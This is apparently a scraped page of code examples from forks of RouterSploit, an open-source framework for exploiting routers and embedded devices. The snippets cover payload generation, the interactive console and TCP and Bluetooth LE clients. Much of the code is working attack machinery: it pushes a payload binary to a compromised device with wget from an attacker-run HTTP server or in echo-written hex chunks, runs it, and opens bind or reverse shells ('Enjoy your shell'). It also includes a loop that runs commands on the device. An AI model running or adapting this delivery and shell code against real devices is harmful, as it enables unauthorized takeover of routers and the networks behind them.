コード例 #1
0
ファイル: payloads.py プロジェクト: Sushink/routersploit
    def run(self):
        print_status("Generating payload")
        try:
            data = self.generate()
        except OptionValidationError as e:
            print_error(e)
            return

        if self.output == "elf":
            with open(self.filepath, "wb+") as f:
                print_status("Building ELF payload")
                content = self.generate_elf(data)
                print_success("Saving file {}".format(self.filepath))
                f.write(content)
        elif self.output == "c":
            print_success("Bulding payload for C")
            content = self.generate_c(data)
            print_info(content)
        elif self.output == "python":
            print_success("Building payload for python")
            content = self.generate_python(data)
            print_info(content)
        else:
            raise OptionValidationError(
                "No such option as {}".format(self.output)
            )

        return content
コード例 #2
0
    def wget(self):
        print_status("Using wget method")
        self.binary_name = random_text(8)

        if "binary" in self.wget_options.keys():
            binary = self.wget_options['binary']
        else:
            binary = "wget"

        # run http server
        self.mutex = True
        thread = threading.Thread(target=self.http_server,
                                  args=(self.options["lhost"],
                                        self.options["lport"]))
        thread.start()

        while self.mutex:
            pass

        if self.port_used:
            print_error("Could not set up HTTP Server on {}:{}".format(
                self.options["lhost"], self.options["lport"]))
            return False

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(
            binary, self.options["lhost"], self.options["lport"],
            self.binary_name, self.location, self.binary_name)

        self.exploit.execute(cmd)
        return True
コード例 #3
0
ファイル: payloads.py プロジェクト: shank-crNK/routersploit
    def run(self):
        print_status("Generating payload")
        try:
            data = self.generate()
        except OptionValidationError as e:
            print_error(e)
            return

        if self.output == "elf":
            with open(self.filepath, 'wb+') as f:
                print_status("Building ELF payload")
                content = self.generate_elf(data)
                print_success("Saving file {}".format(self.filepath))
                f.write(content)
        elif self.output == "c":
            print_success("Bulding payload for C")
            content = self.generate_c(data)
            print_info(content)
        elif self.output == "python":
            print_success("Building payload for python")
            content = self.generate_python(data)
            print_info(content)
        else:
            raise OptionValidationError(
                "No such option as {}".format(self.output)
            )
コード例 #4
0
ファイル: interpreter.py プロジェクト: Will03/routersploit
    def start(self):
        """ Routersploit main entry point. Starting interpreter loop. """

        print_info(self.banner)
        printer_queue.join()
        payloadFile = 0

        # add a function
        # let me test iot automate
        self.loadAutoScript()
        while True:
            try:
                command, args = self.parse_line(input(self.prompt))
                print_status('%s :: %s'%(command,args))
                
                if not command:
                    continue
                command_handler = self.get_command_handler(command)

                command_handler(args)
            except RoutersploitException as err:
                print_error(err)
            except EOFError:
                print_info()
                print_status("routersploit stopped")
                break
            except KeyboardInterrupt:
                print_info()
            finally:
                printer_queue.join()
コード例 #5
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options["rhost"], int(self.options["rport"])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(self.options["rhost"], self.options["rport"]))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
コード例 #6
0
ファイル: interpreter.py プロジェクト: Sushink/routersploit
 def command_run(self, *args, **kwargs):
     print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         print_info()
         print_error("Operation cancelled by user")
     except Exception:
         print_error(traceback.format_exc(sys.exc_info()))
コード例 #7
0
 def command_run(self, *args, **kwargs):
     print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         print_info()
         print_error("Operation cancelled by user")
     except Exception:
         print_error(traceback.format_exc(sys.exc_info()))
コード例 #8
0
ファイル: interpreter.py プロジェクト: Sushink/routersploit
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         print_error(error)
     else:
         if result is True:
             print_success("Target is vulnerable")
         elif result is False:
             print_error("Target is not vulnerable")
         else:
             print_status("Target could not be verified")
コード例 #9
0
ファイル: payloads.py プロジェクト: Sushink/routersploit
    def run(self):
        print_status("Generating payload")

        payload = self.generate()
        if self.encoder:
            payload = self.encoder.encode(payload)

        if self.fmt:
            payload = self.fmt.format(payload)

        print_info(payload)
        return payload
コード例 #10
0
    def tcp_connect(self):
        try:
            tcp_client = self.tcp_create()
            tcp_client.connect((self.target, self.port))

            print_status("Connection established")
            return tcp_client

        except Exception:
            print_error("Could not connect")

        return None
コード例 #11
0
ファイル: payloads.py プロジェクト: bambeero1/Jail
    def run(self):
        print_status("Generating payload")

        payload = self.generate()
        if self.encoder:
            payload = self.encoder.encode(payload)

        if self.fmt:
            payload = self.fmt.format(payload)

        print_info(payload)
        return payload
コード例 #12
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         print_error(error)
     else:
         if result is True:
             print_success("Target is vulnerable")
         elif result is False:
             print_error("Target is not vulnerable")
         else:
             print_status("Target could not be verified")
コード例 #13
0
ファイル: tcp_client.py プロジェクト: root1929/routersploit
    def tcp_connect(self):
        try:
            tcp_client = self.tcp_create()
            tcp_client.connect((self.target, self.port))

            print_status("Connection established", verbose=self.verbosity)
            return tcp_client

        except Exception as err:
            print_error("Could not connect", verbose=self.verbosity)
            print_error(err, verbose=self.verbosity)

        return None
コード例 #14
0
ファイル: tcp_client.py プロジェクト: Sushink/routersploit
    def tcp_connect(self):
        try:
            tcp_client = self.tcp_create()
            tcp_client.connect((self.target, self.port))

            print_status("Connection established", verbose=self.verbosity)
            return tcp_client

        except Exception as err:
            print_error("Could not connect", verbose=self.verbosity)
            print_error(err, verbose=self.verbosity)

        return None
コード例 #15
0
ファイル: tcp_client.py プロジェクト: lucyoa/routersploit
    def connect(self) -> bool:
        """ Connect to TCP server

        :return bool: True if connection was successful, False otherwise
        """
        try:
            self.tcp_client.connect((self.tcp_target, self.tcp_port))
            print_status(self.peer, "TCP Connection established", verbose=self.verbosity)
            return True

        except Exception as err:
            print_error(self.peer, "TCP Error while connecting to the server", err, verbose=self.verbosity)

        return False
コード例 #16
0
ファイル: tcp_client.py プロジェクト: vitty84/routersploit
    def connect(self) -> bool:
        """ Connect to TCP server

        :return bool: True if connection was successful, False otherwise
        """
        try:
            self.tcp_client.connect((self.tcp_target, self.tcp_port))
            print_status(self.peer, "TCP Connection established", verbose=self.verbosity)
            return True

        except Exception as err:
            print_error(self.peer, "TCP Error while connecting to the server", err, verbose=self.verbosity)

        return False
コード例 #17
0
    def http_server(self, lhost, lport):
        print_status("Setting up HTTP server")

        try:
            server = HttpServer((lhost, int(lport)), HttpRequestHandler)
        except socket.error:
            self.port_used = True
            self.mutex = False
            return None

        self.mutex = False

        server.serve_forever(self.payload)
        server.server_close()
コード例 #18
0
    def connect(self):
        try:
            self.tcp_client.connect((self.tcp_target, self.tcp_port))
            print_status(self.peer,
                         "TCP Connection established",
                         verbose=self.verbosity)
            return self.tcp_client

        except Exception as err:
            print_error(self.peer,
                        "TCP Error while connecting to the server",
                        err,
                        verbose=self.verbosity)

        return None
コード例 #19
0
ファイル: btle_device.py プロジェクト: bambeero1/Jail
    def write(self, characteristic, data):
        try:
            dev = Peripheral(self, self.addrType)

            services = sorted(dev.services, key=lambda s: s.hndStart)

            print_status(
                "Searching for characteristic {}".format(characteristic))
            char = None
            for service in services:
                if char is not None:
                    break

                for _, c in enumerate(service.getCharacteristics()):
                    if str(c.uuid) == characteristic:
                        char = c
                        break

            if char:
                if "WRITE" in char.propertiesToString():
                    print_success("Sending {} bytes...".format(len(data)))

                    wwrflag = False

                    if "NO RESPONSE" in char.propertiesToString():
                        wwrflag = True

                    try:
                        char.write(data, wwrflag)
                        print_success("Data sent")
                    except Exception as err:
                        print_error("Error: {}".format(err))

                else:
                    print_error("Not writable")

            dev.disconnect()

        except Exception as err:
            print_error(err)

        try:
            dev.disconnect()
        except Exception:
            pass

        return None
コード例 #20
0
ファイル: btle_device.py プロジェクト: Sushink/routersploit
    def write(self, characteristic, data):
        try:
            dev = Peripheral(self, self.addrType)

            services = sorted(dev.services, key=lambda s: s.hndStart)

            print_status("Searching for characteristic {}".format(characteristic))
            char = None
            for service in services:
                if char is not None:
                    break

                for _, c in enumerate(service.getCharacteristics()):
                    if str(c.uuid) == characteristic:
                        char = c
                        break

            if char:
                if "WRITE" in char.propertiesToString():
                    print_success("Sending {} bytes...".format(len(data)))

                    wwrflag = False

                    if "NO RESPONSE" in char.propertiesToString():
                        wwrflag = True

                    try:
                        char.write(data, wwrflag)
                        print_success("Data sent")
                    except Exception as err:
                        print_error("Error: {}".format(err))

                else:
                    print_error("Not writable")

            dev.disconnect()

        except Exception as err:
            print_error(err)

        try:
            dev.disconnect()
        except Exception:
            pass

        return None
コード例 #21
0
ファイル: btle_device.py プロジェクト: Sushink/routersploit
    def enumerate_services(self):
        print_status("Starting enumerating {} ({} dBm) ...".format(self.addr, self.rssi))

        try:
            dev = Peripheral(self, self.addrType)

            services = sorted(dev.services, key=lambda s: s.hndStart)

            data = []
            for service in services:
                if service.hndStart == service.hndEnd:
                    continue

                data.append([
                    "{:04x} -> {:04x}".format(service.hndStart, service.hndEnd),
                    self._get_svc_description(service),
                    "",
                    "",
                ])

                for _, char in enumerate(service.getCharacteristics()):
                    desc = self._get_char_description(char)
                    props = char.propertiesToString()
                    hnd = char.getHandle()
                    value = self._get_char(char, props)

                    data.append([
                        "{:04x}".format(hnd), desc, props, value
                    ])

            dev.disconnect()

            return data

        except Exception as err:
            print_error(err)

        try:
            dev.disconnect()
        except Exception as err:
            print_error(err)

        return None
コード例 #22
0
ファイル: btle_device.py プロジェクト: bambeero1/Jail
    def enumerate_services(self):
        print_status("Starting enumerating {} ({} dBm) ...".format(
            self.addr, self.rssi))

        try:
            dev = Peripheral(self, self.addrType)

            services = sorted(dev.services, key=lambda s: s.hndStart)

            data = []
            for service in services:
                if service.hndStart == service.hndEnd:
                    continue

                data.append([
                    "{:04x} -> {:04x}".format(service.hndStart,
                                              service.hndEnd),
                    self._get_svc_description(service),
                    "",
                    "",
                ])

                for _, char in enumerate(service.getCharacteristics()):
                    desc = self._get_char_description(char)
                    props = char.propertiesToString()
                    hnd = char.getHandle()
                    value = self._get_char(char, props)

                    data.append(["{:04x}".format(hnd), desc, props, value])

            dev.disconnect()

            return data

        except Exception as err:
            print_error(err)

        try:
            dev.disconnect()
        except Exception as err:
            print_error(err)

        return None
コード例 #23
0
    def btle_scan(self, mac=None):
        """ Scans for Bluetooth Low Energy devices """

        options = Options(self.buffering, mac, self.enum_services)

        scanner = BTLEScanner(options.mac).withDelegate(ScanDelegate(options))

        if options.mac:
            print_status("Scanning BTLE device...")
        else:
            print_status("Scanning for BTLE devices...")

        devices = []
        try:
            devices = [res for res in scanner.scan(self.scan_time)]
        except Exception as err:
            print_error("Error: {}".format(err))
            print_error("Check if your bluetooth hardware is connected")

        return devices
コード例 #24
0
    def run_threads(self, threads_number: int, target_function: any, *args,
                    **kwargs) -> None:
        """ Run function across specified number of threads

        :param int thread_number: number of threads that should be executed
        :param func target_function: function that should be executed accross specified number of threads
        :param any args: args passed to target_function
        :param any kwargs: kwargs passed to target function
        :return None
        """

        threads = []
        threads_running = threading.Event()
        threads_running.set()

        for thread_id in range(int(threads_number)):
            thread = threading.Thread(
                target=target_function,
                args=chain((threads_running, ), args),
                kwargs=kwargs,
                name="thread-{}".format(thread_id),
            )
            threads.append(thread)

            # print_status("{} thread is starting...".format(thread.name))
            thread.start()

        start = time.time()
        try:
            while thread.is_alive():
                thread.join(1)

        except KeyboardInterrupt:
            threads_running.clear()

        for thread in threads:
            thread.join()
            # print_status("{} thread is terminated.".format(thread.name))

        print_status("Elapsed time: {0:.4f} seconds".format(
            round(time.time() - start, 2)))
コード例 #25
0
ファイル: interpreter.py プロジェクト: Will03/routersploit
    def loadAutoScript(self):
        payloadFile = 'NotThing'
        try:
            payloadFile = open("autoTmpScript.rc",'r')    #automate file
        except:
            print_status('Don\'t have autoTmpScript.rc')
        if payloadFile != 'NotThing':            
            for mycommand in payloadFile.readlines():
                mycommand = mycommand.strip()

                print_status('%s'%(mycommand))
                if not len(mycommand) or mycommand.startswith('#'):
                    continue
                try:
                    command, args = self.parse_line(mycommand)
                    if not command:
                        continue
                    command_handler = self.get_command_handler(command)
                    command_handler(args)
                except RoutersploitException as err:
                    print_error(err)
                except EOFError:
                    print_info()
                    print_status("routersploit stopped")
                    break
                except KeyboardInterrupt:
                    print_info()
                finally:
                    printer_queue.join()
コード例 #26
0
    def run_threads(self, threads_number, target_function, *args, **kwargs):
        threads = []
        threads_running = threading.Event()
        threads_running.set()

        for thread_id in range(int(threads_number)):
            thread = threading.Thread(
                target=target_function,
                args=chain((threads_running, ), args),
                kwargs=kwargs,
                name="thread-{}".format(thread_id),
            )
            threads.append(thread)

            print_status("{} thread is starting...".format(thread.name))
            thread.start()

        start = time.time()
        try:
            while thread.isAlive():
                thread.join(1)

        except KeyboardInterrupt:
            threads_running.clear()

        for thread in threads:
            thread.join()
            print_status("{} thread is terminated.".format(thread.name))

        print_status("Elapsed time: {} seconds".format(time.time() - start))
コード例 #27
0
ファイル: exploit.py プロジェクト: Sushink/routersploit
    def run_threads(self, threads_number, target_function, *args, **kwargs):
        threads = []
        threads_running = threading.Event()
        threads_running.set()

        for thread_id in range(int(threads_number)):
            thread = threading.Thread(
                target=target_function,
                args=chain((threads_running,), args),
                kwargs=kwargs,
                name="thread-{}".format(thread_id),
            )
            threads.append(thread)

            print_status("{} thread is starting...".format(thread.name))
            thread.start()

        start = time.time()
        try:
            while thread.isAlive():
                thread.join(1)

        except KeyboardInterrupt:
            threads_running.clear()

        for thread in threads:
            thread.join()
            print_status("{} thread is terminated.".format(thread.name))

        print_status("Elapsed time: {} seconds".format(time.time() - start))
コード例 #28
0
    def reverse_tcp(self):
        all_interfaces = "0.0.0.0"
        sock = self.listen(all_interfaces, self.options["lport"])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(all_interfaces, self.options["lport"]))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
コード例 #29
0
    def wget(self):
        print_status("Using wget method")
        self.binary_name = random_text(8)

        if "binary" in self.wget_options.keys():
            binary = self.wget_options['binary']
        else:
            binary = "wget"

        # run http server
        all_interfaces = "0.0.0.0"
        try:
            server = HttpServer((all_interfaces, int(self.options["lport"])), HttpRequestHandler)
        except socket.error:
            print_error("Could not set up HTTP Server on {}:{}".format(self.options["lhost"], self.options["lport"]))
            return False

        thread = threading.Thread(target=server.serve_forever, args=(self.payload,))
        thread.start()

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -qO {}/{}".format(binary,
                                                    self.options["lhost"],
                                                    self.options["lport"],
                                                    self.binary_name,
                                                    self.location,
                                                    self.binary_name)

        self.exploit.execute(cmd)

        thread.join(10)
        if thread.is_alive():
            assassin = threading.Thread(target=server.shutdown)
            assassin.daemon = True
            assassin.start()
            return False

        return True
コード例 #30
0
ファイル: interpreter.py プロジェクト: Sushink/routersploit
    def start(self):
        """ Routersploit main entry point. Starting interpreter loop. """

        print_info(self.banner)
        printer_queue.join()
        while True:
            try:
                command, args = self.parse_line(input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except RoutersploitException as err:
                print_error(err)
            except EOFError:
                print_info()
                print_status("routersploit stopped")
                break
            except KeyboardInterrupt:
                print_info()
            finally:
                printer_queue.join()
    def start(self):
        """ exploit main entry point. Starting interpreter loop. """

        print_info(self.banner)
        printer_queue.join()
        while True:
            try:
                command, args = self.parse_line(input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except RoutersploitException as err:
                print_error(err)
            except EOFError:
                print_info()
                print_status(" stopped")
                break
            except KeyboardInterrupt:
                print_info()
            finally:
                printer_queue.join()
コード例 #32
0
    def start(self, argv):
        """ Routersploit main entry point. Starting interpreter loop. """

        printer_queue.join()
        try:
            command, args = self.parse_line("use scanners/routers/router_scan")
            if not command:
                return -1
            command_handler = self.get_command_handler(command)
            command_handler(args)
        except RoutersploitException as err:
            print_error(err)
        except EOFError:
            print_info()
            print_status("routersploit stopped")
            return -1
        except KeyboardInterrupt:
            print_info()
        finally:
            printer_queue.join()

        try:
            command, args = self.parse_line("set target " + argv)
            if not command:
                return -1
            command_handler = self.get_command_handler(command)
            command_handler(args)
        except RoutersploitException as err:
            print_error(err)
        except EOFError:
            print_info()
            print_status("routersploit stopped")
            return -1
        except KeyboardInterrupt:
            print_info()
        finally:
            printer_queue.join()

        try:
            command, args = self.parse_line("run")
            if not command:
                return -1
            command_handler = self.get_command_handler(command)
            command_handler(args)
        except RoutersploitException as err:
            print_error(err)
        except EOFError:
            print_info()
            print_status("routersploit stopped")
            return -1
        except KeyboardInterrupt:
            print_info()
        finally:
            printer_queue.join()
コード例 #33
0
    def echo(self):
        print_status("Using echo method")
        self.binary_name = random_text(8)

        path = "{}/{}".format(self.location, self.binary_name)

        # echo stream e.g. echo -ne {} >> {}
        if "stream" in self.echo_options.keys():
            echo_stream = self.echo_options["stream"]
        else:
            echo_stream = 'echo -ne "{}" >> {}'

        # echo prefix e.g. "\\x"
        if "prefix" in self.echo_options.keys():
            echo_prefix = self.echo_options["prefix"]
        else:
            echo_prefix = "\\x"

        # echo max length of the block
        if "max_length" in self.echo_options.keys():
            echo_max_length = int(self.echo_options["max_length"])
        else:
            echo_max_length = 30

        size = len(self.payload)
        num_parts = int(size / echo_max_length) + 1

        # transfer binary through echo command
        print_status("Sending payload to {}".format(path))
        for i in range(0, num_parts):
            current = i * echo_max_length
            print_status("Transferring {}/{} bytes".format(
                current, len(self.payload)))

            block = str(
                binascii.hexlify(self.payload[current:current +
                                              echo_max_length]), "utf-8")
            block = echo_prefix + echo_prefix.join(
                a + b for a, b in zip(block[::2], block[1::2]))
            cmd = echo_stream.format(block, path)
            self.exploit.execute(cmd)
コード例 #34
0
ファイル: exploit.py プロジェクト: lucyoa/routersploit
    def run_threads(self, threads_number: int, target_function: any, *args, **kwargs) -> None:
        """ Run function across specified number of threads

        :param int thread_number: number of threads that should be executed
        :param func target_function: function that should be executed accross specified number of threads
        :param any args: args passed to target_function
        :param any kwargs: kwargs passed to target function
        :return None
        """

        threads = []
        threads_running = threading.Event()
        threads_running.set()

        for thread_id in range(int(threads_number)):
            thread = threading.Thread(
                target=target_function,
                args=chain((threads_running,), args),
                kwargs=kwargs,
                name="thread-{}".format(thread_id),
            )
            threads.append(thread)

            print_status("{} thread is starting...".format(thread.name))
            thread.start()

        start = time.time()
        try:
            while thread.isAlive():
                thread.join(1)

        except KeyboardInterrupt:
            threads_running.clear()

        for thread in threads:
            thread.join()
            print_status("{} thread is terminated.".format(thread.name))

        print_status("Elapsed time: {} seconds".format(time.time() - start))
コード例 #35
0
ファイル: shell.py プロジェクト: Sushink/routersploit
    def echo(self):
        print_status("Using echo method")
        self.binary_name = random_text(8)

        path = "{}/{}".format(self.location, self.binary_name)

        # echo stream e.g. echo -ne {} >> {}
        if "stream" in self.echo_options.keys():
            echo_stream = self.echo_options["stream"]
        else:
            echo_stream = 'echo -ne "{}" >> {}'

        # echo prefix e.g. "\\x"
        if "prefix" in self.echo_options.keys():
            echo_prefix = self.echo_options["prefix"]
        else:
            echo_prefix = "\\x"

        # echo max length of the block
        if "max_length" in self.echo_options.keys():
            echo_max_length = int(self.echo_options["max_length"])
        else:
            echo_max_length = 30

        size = len(self.payload)
        num_parts = int(size / echo_max_length) + 1

        # transfer binary through echo command
        print_status("Sending payload to {}".format(path))
        for i in range(0, num_parts):
            current = i * echo_max_length
            print_status("Transferring {}/{} bytes".format(current, len(self.payload)))

            block = str(binascii.hexlify(self.payload[current:current + echo_max_length]), "utf-8")
            block = echo_prefix + echo_prefix.join(a + b for a, b in zip(block[::2], block[1::2]))
            cmd = echo_stream.format(block, path)
            self.exploit.execute(cmd)
コード例 #36
0
ファイル: payloads.py プロジェクト: shank-crNK/routersploit
 def run(self):
     print_status("Generating payload")
     print_info(
         self.generate()
     )
コード例 #37
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    available_payloads = {}
    payload = None
    options = []

    if architecture and method:
        path = "routersploit/modules/payloads/{}/".format(architecture)

        # get all payloads for given architecture
        all_payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]

        payload_path = path.replace("/", ".")
        for p in all_payloads:
            module = getattr(importlib.import_module("{}{}".format(payload_path, p)), 'Exploit')

            # if method/arch is cmd then filter out payloads
            if method is "cmd":
                if getattr(module, "cmd") in payloads:
                    available_payloads[p] = module
            else:
                available_payloads[p] = module

    print_info()
    print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
    print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
    print_info()

    while True:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__["name"])

        cmd = input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            if not available_payloads:
                print_error("There are no available payloads for this exploit")
                continue

            print_status("Available payloads:")
            headers = ("Payload", "Name", "Description")
            data = []
            for p in available_payloads.keys():
                data.append((p, available_payloads[p]._Exploit__info__["name"], available_payloads[p]._Exploit__info__["description"]))

            print_table(headers, *data)

        elif cmd.startswith("set payload "):
            if not available_payloads:
                print_error("There are no available payloads for this exploit")
                continue

            c = cmd.split(" ")

            if c[2] in available_payloads.keys():
                payload = available_payloads[c[2]]()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([option, getattr(payload, option), payload.exploit_attributes[option][1]])

                if payload.handler == "bind_tcp":
                    options.append(["rhost", exploit.target, "Target IP address"])

                    if method == "wget":
                        options.append(["lhost", "", "Connect-back IP address for wget"])
                        options.append(["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(c[1]))
                                break

                            option[1] = c[2]
                            print_info("{} => {}".format(c[1], c[2]))

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    if communication.wget() is False:
                        print_error("Exploit failed to transfer payload")
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    communication.echo()

                elif method == "cmd":
                    params["exec_binary"] = data
                    communication = Communication(exploit, "", options, **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))